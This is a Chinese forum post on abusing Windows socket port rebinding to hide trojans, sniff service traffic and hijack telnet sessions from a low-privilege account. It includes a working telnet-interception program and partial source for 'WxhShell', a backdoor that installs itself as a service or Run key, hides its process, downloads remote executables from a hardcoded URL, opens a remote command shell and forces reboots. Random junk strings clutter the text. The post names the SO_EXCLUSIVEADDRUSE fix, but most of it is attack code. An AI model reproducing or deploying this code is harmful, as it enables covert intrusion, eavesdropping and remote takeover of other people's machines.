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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _D&598xx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); : *#-%0  
/Cr%{'Pzk  
  saddr.sin_family = AF_INET; lrE5^;/s1  
r Z$O?K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WE#^a6  
^uc=f2=>,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J*A,o~U|  
v;{#Q&(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wvh#:Z  
O=t_yy  
  这意味着什么?意味着可以进行如下的攻击: ,[KD,)3y  
jB2[(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eo?bL$A[s  
BDDlQci38  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (%6P0*  
?l{nk5,?-Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2]*OQb#O6e  
1CZgb   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9cF[seE"0  
^^$s%{ep"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cV6D<,)  
h438`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Btn?N  
+ &Eqk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2%m BK  
ouQ T  
  #include 03Ycf'W  
  #include cm+Es6;  
  #include tyFzSrfc  
  #include    _B<X`L =  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Bwxd&;E  
  int main() oG\Vxg*  
  { ?fSG'\h>  
  WORD wVersionRequested; 6cXyJW  
  DWORD ret; XRi8Gpg  
  WSADATA wsaData; V 5mTP'  
  BOOL val; u*`GiZAO  
  SOCKADDR_IN saddr; L="}E rmK  
  SOCKADDR_IN scaddr; DTL.Bsc-.  
  int err; /J;Kn]5e  
  SOCKET s; gM:".Ee  
  SOCKET sc; VTE .^EK!  
  int caddsize; ~c `l@:  
  HANDLE mt; (!WD1w   
  DWORD tid;    =7eV/3  
  wVersionRequested = MAKEWORD( 2, 2 ); kuP(r  
  err = WSAStartup( wVersionRequested, &wsaData ); ?e 4/p  
  if ( err != 0 ) { b ]KBgZ  
  printf("error!WSAStartup failed!\n"); 4kx N<]  
  return -1; a:w#s}bL  
  } z2GY:<s  
  saddr.sin_family = AF_INET; Gd85kY@w7  
   bk[!8- b/a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |+9&rAg  
P&Vv/D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3Y$GsN4ln  
  saddr.sin_port = htons(23); D0f]$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WpvhTX  
  { ]Y&VT7+Z  
  printf("error!socket failed!\n"); abVmkdP_s  
  return -1; R:qW;n%AF  
  } BI@[\aRLQ  
  val = TRUE; ox.F%)eQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v]UwJz3<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V0mn4sfs  
  { @6-jgw>W2  
  printf("error!setsockopt failed!\n"); Q"#J6@  
  return -1; (TM,V!G+U~  
  } f$QNg0v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !&E-}}<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mt.))#1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FS1z`wYP  
#/37V2E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,V}WM%Km  
  { |_U= z;Y  
  ret=GetLastError(); COlaD"Y  
  printf("error!bind failed!\n"); ,a? o aPH  
  return -1; `Pnoxm'  
  } $ocdI5  
  listen(s,2); klhtKp_p  
  while(1) TA~{1_l  
  { V=3b&TkE  
  caddsize = sizeof(scaddr); q@2siI~W  
  //接受连接请求 Eh4= ZEX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O#r%>;3*  
  if(sc!=INVALID_SOCKET) BJ(M2|VH  
  { hE-M$LmN@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oP.7/*p  
  if(mt==NULL) poFg 1  
  { T51 `oZ`  
  printf("Thread Creat Failed!\n"); d'sZxU  
  break; Xn ;AZu^'R  
  } BDVtSs<7  
  } U m+8"W  
  CloseHandle(mt); bZV/l4TU  
  } Z?z.?a r  
  closesocket(s); #_lDss  
  WSACleanup(); TS5Q1+hWHV  
  return 0; yV(\R  
  }   Aiea\j Bv  
  DWORD WINAPI ClientThread(LPVOID lpParam) [ikOb8 G#  
  { 8~gLqh8^V  
  SOCKET ss = (SOCKET)lpParam; vr^qWn  
  SOCKET sc; bN@ l?w  
  unsigned char buf[4096]; )dSi/  
  SOCKADDR_IN saddr; PFK  '$  
  long num; CJI~_3+K  
  DWORD val; WjqO@]P6  
  DWORD ret; RpYERAgT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wlmRe`R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FxtI"g\0  
  saddr.sin_family = AF_INET; N}YkMJy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {1 94!S4z  
  saddr.sin_port = htons(23); ?0xgRe<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lb1Xsgm{  
  { ^sg,\zD 'X  
  printf("error!socket failed!\n"); 7"xd1l?zz  
  return -1; =mmWl9'mJ  
  } S 6,.FYH  
  val = 100; ~^b/(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pY$Q  
  { OK g qT!  
  ret = GetLastError(); 2)~> R  
  return -1; H 7 ^/q7  
  } ^/=KK:n~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3{(/x1 a,4  
  { P L+sR3bR  
  ret = GetLastError(); lB[kbJ  
  return -1; Jpo (Wl  
  } Vs{|xG7W D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O<W_fx8_'  
  { IdxzE_@  
  printf("error!socket connect failed!\n"); 8sK9G` k  
  closesocket(sc); 9 JK Ew  
  closesocket(ss); qb` \)X]9  
  return -1; _t}WsEQ+P  
  } 5QO9Q]I#_\  
  while(1) jm r"D>  
  { HiJE}V;Vq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w"&n?L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k+l b@!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BJo*'US-Q  
  num = recv(ss,buf,4096,0); 5.J.RE"M  
  if(num>0) F^fdIZx  
  send(sc,buf,num,0); xFg>SJ7]  
  else if(num==0) yJe>JK~)  
  break; tIS<U(N ;  
  num = recv(sc,buf,4096,0); Ef13Q]9|  
  if(num>0) %BB%pC  
  send(ss,buf,num,0); t9IW/Q  
  else if(num==0) 6/dI6C!  
  break; QoH6  
  } I[X772K  
  closesocket(ss); i8HTzv"J  
  closesocket(sc); tcog'nAz  
  return 0 ; R0  
  } }|5Pr(I  
x# 5A(g  
I4?5K@a  
========================================================== r^ ZEImjc  
GF=g<H M  
下边附上一个代码,,WXhSHELL x `)&J B  
gjzuG< 7m  
========================================================== w$-6-rE]d  
ijx0gh`~  
#include "stdafx.h" Q6I:"2u1  
}U5yQ%N  
#include <stdio.h> 4d;8`66O  
#include <string.h> "kgdbAZ  
#include <windows.h> "wh , Ue  
#include <winsock2.h> UN<]N76!  
#include <winsvc.h> y9}>:pj4  
#include <urlmon.h> ))'<_nD  
f^XOUh  
#pragma comment (lib, "Ws2_32.lib") %&t<K3&Yh  
#pragma comment (lib, "urlmon.lib") e'D&8z_;  
q.`NtsW!\+  
#define MAX_USER   100 // 最大客户端连接数 }Y36C.@H  
#define BUF_SOCK   200 // sock buffer w}cPs{Vi"  
#define KEY_BUFF   255 // 输入 buffer RQu(Wu|m.  
-5QZJF2~  
#define REBOOT     0   // 重启 '}bgLv  
#define SHUTDOWN   1   // 关机 M?uC%x+S$_  
scLll,~  
#define DEF_PORT   5000 // 监听端口 )gy!GK  
(n9g kO&8"  
#define REG_LEN     16   // 注册表键长度 M{hg0/}sUW  
#define SVC_LEN     80   // NT服务名长度 Z^MNf  
>> fH{/l  
// 从dll定义API _X"N1,0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K1!j fp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~|xA4u5LG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zi*R`;_`,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bY QRBi  
a]tVd#  
// wxhshell配置信息 M,mvys$  
struct WSCFG { FZE"7ec>m  
  int ws_port;         // 监听端口 ^iw'^6~  
  char ws_passstr[REG_LEN]; // 口令 nq8C'Fo!6T  
  int ws_autoins;       // 安装标记, 1=yes 0=no t "'7m^j  
  char ws_regname[REG_LEN]; // 注册表键名 Jd^,]  
  char ws_svcname[REG_LEN]; // 服务名 ocS5SB]8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9kS^Abtk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s'J:f$flS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ):_\;.L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RcU}}V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p/@smke  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /9p wZ%:<  
/?F/9hL  
}; DG ;_Vg  
G@jZ)2  
// default Wxhshell configuration $ Kncvu  
struct WSCFG wscfg={DEF_PORT, "J8vjr1/  
    "xuhuanlingzhe", <oA7'|Bu<  
    1, OCaq3_#tZ  
    "Wxhshell", |My4SoOF  
    "Wxhshell", 90*5 5\>{  
            "WxhShell Service", EkNunCls  
    "Wrsky Windows CmdShell Service", Tl[!=S  
    "Please Input Your Password: ", OGg>#vj,s  
  1, X1-'COQS%&  
  "http://www.wrsky.com/wxhshell.exe", Jx7C'~,J  
  "Wxhshell.exe" RM]M@%,K  
    }; [)zP6\I  
2:7zG "$  
// 消息定义模块 +:!7L= N#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sjwo/+2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mh/dpb\Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6vNrBB  
char *msg_ws_ext="\n\rExit."; T)TfB(  
char *msg_ws_end="\n\rQuit."; N&g3t%F  
char *msg_ws_boot="\n\rReboot..."; {rH@gz|@i  
char *msg_ws_poff="\n\rShutdown..."; ';jYOVe  
char *msg_ws_down="\n\rSave to "; O  %!!w  
RcM/!,B  
char *msg_ws_err="\n\rErr!"; :f}9($  
char *msg_ws_ok="\n\rOK!"; +|'c>,?2H  
=Og)q$AL  
char ExeFile[MAX_PATH]; 2ZMb<b4H  
int nUser = 0; #W'HR  
HANDLE handles[MAX_USER]; A1D^a,  
int OsIsNt; +)<wDDC_  
B~JwHwIhA  
SERVICE_STATUS       serviceStatus; 4c$ zKqz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1H@>/QC  
,dov<U[ia  
// 函数声明 g-H N  
int Install(void);  TYmP)  
int Uninstall(void); (\a]"g,]v  
int DownloadFile(char *sURL, SOCKET wsh); Z X(z;|l45  
int Boot(int flag); G_{&sa  
void HideProc(void); )- viGxJ@  
int GetOsVer(void); {VvqO7A  
int Wxhshell(SOCKET wsl); Xg SxN!I  
void TalkWithClient(void *cs); LuSLkLN  
int CmdShell(SOCKET sock); 9{}1r2xW  
int StartFromService(void); dC $Em@Nb  
int StartWxhshell(LPSTR lpCmdLine); V\6[}J  
 , ^;)<[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8XzR wYV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8lb%eb]U  
zj`v?#ET  
// 数据结构和表定义 n'01Hh`0  
SERVICE_TABLE_ENTRY DispatchTable[] = 8X`tU<Ab  
{ , GY h9  
{wscfg.ws_svcname, NTServiceMain}, jbu8~\"  
{NULL, NULL} | 8=nL$u  
}; 6morum  
!z<%GQ CT  
// 自我安装 C] 9 p5Hs  
int Install(void) YZ7|K<   
{ I8/DR z$A  
  char svExeFile[MAX_PATH]; K]|> Et`  
  HKEY key; & )vC;$vD`  
  strcpy(svExeFile,ExeFile); :GW&O /Yo  
s#DaKPC  
// 如果是win9x系统,修改注册表设为自启动 NqEA4C  
if(!OsIsNt) { !V\Q<So<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Y_i4(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R~jHr )0.#  
  RegCloseKey(key); k^%B5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 <7GdCME  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,^WJm?R  
  RegCloseKey(key); IWveW8qJ  
  return 0; 4*mS y  
    } C,NxE5?h  
  } 2aB^WY'tC  
} E)7F\w  
else { OhmQ,  
FwY&/\J7V  
// 如果是NT以上系统,安装为系统服务 X*Dj[TD]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HJ[/|NZU$  
if (schSCManager!=0) nF4a-H&Fo  
{ f1)x5N  
  SC_HANDLE schService = CreateService "+ >SJ~  
  ( qYf |Gv  
  schSCManager, g'u?Rn 7*J  
  wscfg.ws_svcname, PN<C=gAe  
  wscfg.ws_svcdisp, RZ7( J  
  SERVICE_ALL_ACCESS, <ggtjw S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gE hN3(  
  SERVICE_AUTO_START, >,gvb5  
  SERVICE_ERROR_NORMAL, U{$1[,f  
  svExeFile, c$`4*6  
  NULL, pD2<fP_  
  NULL, TO*BH^5R  
  NULL, )VK }m9Ae  
  NULL, kR@Yl Yo  
  NULL 2Nm>5l  
  ); _#s=h_ FD  
  if (schService!=0) eo!zW  
  { @@g\2Gs  
  CloseServiceHandle(schService); {d%&zvJnD  
  CloseServiceHandle(schSCManager); wpt='(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^*= 85iyo  
  strcat(svExeFile,wscfg.ws_svcname); u=NS sTP&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TQ1WVq }*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); , Ut Hc]  
  RegCloseKey(key); -05U%l1e  
  return 0; 8<)$z?K   
    } dyFKxn`,  
  } eE/%6g  
  CloseServiceHandle(schSCManager); Gwd{#7FM`  
} qGPb  
} ._p""'Sa  
JFqf;3R  
return 1; tnW;E\cR  
} ^4`&EF  
0v"&G<J  
// 自我卸载 h[ 6hM^n  
int Uninstall(void) abY0)t  
{ D?+ RJs  
  HKEY key; T2Z[AvNXFk  
:?r*p>0$  
if(!OsIsNt) { BxX$5u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a|N0(C  
  RegDeleteValue(key,wscfg.ws_regname); C?Qf F{!7  
  RegCloseKey(key); ,p,Du F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Nl* 4  
  RegDeleteValue(key,wscfg.ws_regname); 3GmK3uM  
  RegCloseKey(key); .Y/-8H-3v  
  return 0; -Q`C q |s  
  } ehc<|O9tY  
} )Ul&1UYA  
} 6dT|;koWbm  
else { R/N<0!HZ  
o#d$[oa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pa] TeH  
if (schSCManager!=0) `QCD$=  
{ 712=rUI%!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iE{Oit^aG  
  if (schService!=0) q=[U }{  
  { [n<.fw8$b  
  if(DeleteService(schService)!=0) { x9*ys;~w  
  CloseServiceHandle(schService); ucFw,sB1  
  CloseServiceHandle(schSCManager); [oHOHp/V  
  return 0; Pt3[|4L  
  } Y<ElJ>A2I  
  CloseServiceHandle(schService); V9$-twhu  
  } \R;K>c7=  
  CloseServiceHandle(schSCManager); F0: &>'}  
} XkoWL  
} 9l=Fv6  
IgiqFV {  
return 1; ^k9rDn/AW  
} Pu/lpHm|  
Gm*Uv6?H?  
// 从指定url下载文件  bn|DRy  
int DownloadFile(char *sURL, SOCKET wsh) )ldUayJ  
{ *%f3rvt7@)  
  HRESULT hr; S%P3ek>3  
char seps[]= "/"; ;W4:#/~14  
char *token; 8|_K  
char *file; K/A ? ]y  
char myURL[MAX_PATH]; VG#$fRrZ  
char myFILE[MAX_PATH]; DwC@"i.  
ees^O{ 8  
strcpy(myURL,sURL); Cg?I'1]o6  
  token=strtok(myURL,seps); =z']s4  
  while(token!=NULL) k4* ! Q_A  
  { >T$7{ ~  
    file=token; %L.rcbg:<c  
  token=strtok(NULL,seps); dR%q1Y&`  
  } _fe0,  
f>b!-|  
GetCurrentDirectory(MAX_PATH,myFILE); 3Y=,r!F.h  
strcat(myFILE, "\\"); cEtZ}2,j  
strcat(myFILE, file); paUyS1i  
  send(wsh,myFILE,strlen(myFILE),0); X$ejy/+.  
send(wsh,"...",3,0); /G[+E&vj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GZ}*r{  
  if(hr==S_OK) {!>E9Px  
return 0; MH2OqiCI  
else FK?mS>G6  
return 1; ~m3V]v(q7  
``/y=k/au  
} G<Th<JF)Q  
y`T--v3mI  
// 系统电源模块 qb 46EZu  
int Boot(int flag) 8dYk3 sk  
{ m.|qVN  
  HANDLE hToken; !e9N3Ga  
  TOKEN_PRIVILEGES tkp; c4S>_qH  
D6"~fjHh  
  if(OsIsNt) { A;b=E[i v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Uv#>d}P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~k"eE V p  
    tkp.PrivilegeCount = 1; *tIdp`xT/T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?nj"Ptzs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {-:4O\/  
if(flag==REBOOT) { h0&>GY;i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yd{Y}.  
  return 0; ~pDRF(  
} A8CIP:Z  
else { )F=JkG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <yPq;#z(!  
  return 0; ,'/HcF?yf  
} (xjoRbU*  
  } 3Qm t]q  
  else { 8ItCfbqa6  
if(flag==REBOOT) { S&;T_^|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;C7BoHB9  
  return 0; 6&/ Ew4 e  
} %M4XbSN|  
else { ?Oe_} jv;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fF9;lWt  
  return 0; v#T?YK  
} '? !7 Be  
} Azdz3/  
Lv`8jSt\  
return 1; hSLwiX~  
} 6@,'m  
R?={{+O  
// win9x进程隐藏模块 Rd;~'gbG  
void HideProc(void) "`V"2zZlj  
{ k=d%.kg  
nEa'e5 lg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D KMbs   
  if ( hKernel != NULL ) nJM9c[Ou^H  
  { H*:r>Lm=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qKI4p3&E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jmZ|b6  
    FreeLibrary(hKernel); cr=FMfhB  
  } JE8p5WaR  
Pvb+   
return; }GU6Q|s[u[  
} .k!k-QO5La  
(VF4FC  
// 获取操作系统版本 T/spUlWu  
int GetOsVer(void) yg]nS<K~4  
{ \Im \*A   
  OSVERSIONINFO winfo; U K]{]-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ovBd%wJ 0  
  GetVersionEx(&winfo); `'WY'\|C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6jy n,GU  
  return 1; =[tls^  
  else d8y =.  
  return 0; ] l qFht  
} I!i#=  
KohQ6q  
// 客户端句柄模块 5 xzB1n8  
int Wxhshell(SOCKET wsl) Hh'14n&W  
{ HDae_.  
  SOCKET wsh; qKb- aP-  
  struct sockaddr_in client; ; hRpAN  
  DWORD myID; F~0%j}ve  
N=?kEX O  
  while(nUser<MAX_USER) p(b1I+!  
{ 'I01F:`  
  int nSize=sizeof(client); +\(ay"+ d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "GC]E8&>H  
  if(wsh==INVALID_SOCKET) return 1; i:N^:%  
a.*j8T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >*Z{@1*h  
if(handles[nUser]==0) Vh[o[ U  
  closesocket(wsh); +Gwe%p Q  
else "jN-Yd,z  
  nUser++; QRG)~  
  } {O,M}0Eg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (,9cCnvmYU  
?%fZvpn-  
  return 0; t=\[J+  
} )Ai%wCzw*  
W%<]_u[-}  
// 关闭 socket $j2)_(<A%Q  
void CloseIt(SOCKET wsh) e8uIh[+ 0  
{ oX~$'/2v  
closesocket(wsh); ``)1`wx$  
nUser--; 6)2M/(  
ExitThread(0); Bst>9V&R  
} ='||BxB  
v2X0Px_  
// 客户端请求句柄 o*ED!y7  
void TalkWithClient(void *cs) SIVLYi  
{ Zg f||,  
ITY!=>S-  
  SOCKET wsh=(SOCKET)cs; U;dt-3?=.h  
  char pwd[SVC_LEN]; bh6wI%8H  
  char cmd[KEY_BUFF]; MxA'T(Ay  
char chr[1]; 0aoHv  
int i,j; t>u9NZt G  
ij5=f0^4.  
  while (nUser < MAX_USER) { jY6=+9Jz5  
!td.ks0  
if(wscfg.ws_passstr) { NGZ>:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k3h53QTmC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XFAt\g  
  //ZeroMemory(pwd,KEY_BUFF); $5(%M8qmQ  
      i=0; K T72D  
  while(i<SVC_LEN) { aT1 W] i  
)@|Fh@|  
  // 设置超时 mzR @P$:36  
  fd_set FdRead; ri V/wN9C  
  struct timeval TimeOut; 717m.t,x  
  FD_ZERO(&FdRead); 5Cka."bQ  
  FD_SET(wsh,&FdRead); < l ^ Z;.  
  TimeOut.tv_sec=8; =9MH  
  TimeOut.tv_usec=0; BV:,b S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FLOJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >~InO^R`5  
v@SrEmg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )BrqE uX@"  
  pwd=chr[0]; nQVBHL>  
  if(chr[0]==0xd || chr[0]==0xa) { DQQjx>CK  
  pwd=0; J0plQDe  
  break; G\AQql(f4  
  } d0,F'?.0|  
  i++; +38P$Koz{r  
    } GQNiBsV  
O:R{4Q*5  
  // 如果是非法用户,关闭 socket |mA*[?ye@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %/C[\w p81  
} Ro$XbU)  
Lj,%pzJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OaWq8MIZ-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [! BH3J!  
}H.vH  
while(1) { !!>G{  
.[A S  
  ZeroMemory(cmd,KEY_BUFF); 8A_(]Q  
xn[di-L F  
      // 自动支持客户端 telnet标准   WRM}gWv*  
  j=0; mYX) =B{  
  while(j<KEY_BUFF) { T]`" Xl8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H_]kR&F8  
  cmd[j]=chr[0]; (#lS?+w)  
  if(chr[0]==0xa || chr[0]==0xd) { WH*&MIjAr/  
  cmd[j]=0; "Q4{6FH+mB  
  break; #u^d3 $Nj  
  } Sq%R  
  j++; V-0Y~T  
    } |1R @Jz`  
C/G[B?:h  
  // 下载文件 r9[J3t*({~  
  if(strstr(cmd,"http://")) { ]vMft?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^gImb`<6-  
  if(DownloadFile(cmd,wsh)) `N+ P ,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u QCS%|8C  
  else (X/JXu{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F44")fY  
  } cxV3Vrx@A  
  else { [PT}!X7h  
t)h3GM  
    switch(cmd[0]) { c9V'Zd#  
  XOMWqQr|  
  // 帮助 = 4L.  
  case '?': { E),T,   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nm..$QL  
    break; TQE_zOa:  
  } QMP:}  
  // 安装 FsjblB3?E  
  case 'i': { h1$,  
    if(Install()) * -)aGL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zKv}J  
    else uP.3(n[&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >K3Lww)Ln  
    break; J c*A\-qC.  
    } /OEj]DNY  
  // 卸载 6Y=)12T  
  case 'r': { tP3Upw"U  
    if(Uninstall()) = >9`qcNW_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mSs%gL]g  
    else _ . _'\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zrcSPh  
    break; W>.qGK|l  
    } :0/I2:  
  // 显示 wxhshell 所在路径 umY4tNe]$  
  case 'p': { )9s[-W,e  
    char svExeFile[MAX_PATH]; Lq:Z='Kc  
    strcpy(svExeFile,"\n\r"); C 7v 8  
      strcat(svExeFile,ExeFile); 5=eGiF;0\  
        send(wsh,svExeFile,strlen(svExeFile),0); .M04n\  
    break; 'j|;M  
    } q*>`HTPcU  
  // 重启 E8/P D  
  case 'b': { @l 1 piz8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m6s32??m  
    if(Boot(REBOOT)) 9i n&\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xRb-m$B}L  
    else { {C [7V{4(%  
    closesocket(wsh); \)pk/  
    ExitThread(0); !h4L_D0  
    } IZ "d s=w  
    break; k1W q$KCwG  
    } 6s@'z<Ct  
  // 关机 YvRMUT  
  case 'd': { d H]'&&M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 46Vx)xX  
    if(Boot(SHUTDOWN)) -:&qNY:Vp  
